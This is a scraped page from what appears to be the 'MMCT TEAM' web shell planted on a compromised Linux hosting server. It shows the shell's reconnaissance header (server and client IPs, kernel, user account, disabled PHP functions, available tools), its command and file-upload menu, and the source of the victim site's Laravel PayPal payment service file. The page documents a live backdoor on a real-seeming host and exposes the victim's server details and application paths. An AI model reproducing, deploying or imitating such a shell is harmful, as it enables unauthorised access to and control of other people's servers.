MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/cms.ncriptech.com/app/Services/Payment/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/cms.ncriptech.com/app/Services/Payment/PayPalService.php
<?php

namespace App\Services\Payment;

use Obydul\Larapaypal\Paypal;

class PayPalService
{
    protected $paypal;

    public function __construct()
    {
        $this->paypal = new Paypal([
            'client_id' => env('PAYPAL_CLIENT_ID'),
            'secret' => env('PAYPAL_SECRET'),
            'mode' => env('PAYPAL_MODE'),
        ]);
    }

    public function createPayment($amount, $currency)
    {
        $response = $this->paypal->create([
            'amount' => $amount,
            'currency' => $currency,
            'return_url' => route('payment.success'),
            'cancel_url' => route('payment.cancel'),
        ]);

        if ($response['status'] == 'success') {
            // Redirect the user to the PayPal approval URL
            return redirect($response['approval_url']);
        } else {
            // Handle payment creation failure
            return back()->withErrors($response['message']);
        }
    }

    public function executePayment($paymentId, $payerId)
    {
        // Execute the payment after the user has approved the payment
        $response = $this->paypal->execute($paymentId, $payerId);

        if ($response['status'] == 'success') {
            return $response;
        } else {
            // Handle payment execution failure
            return back()->withErrors($response['message']);
        }
    }
}

MMCT - 2023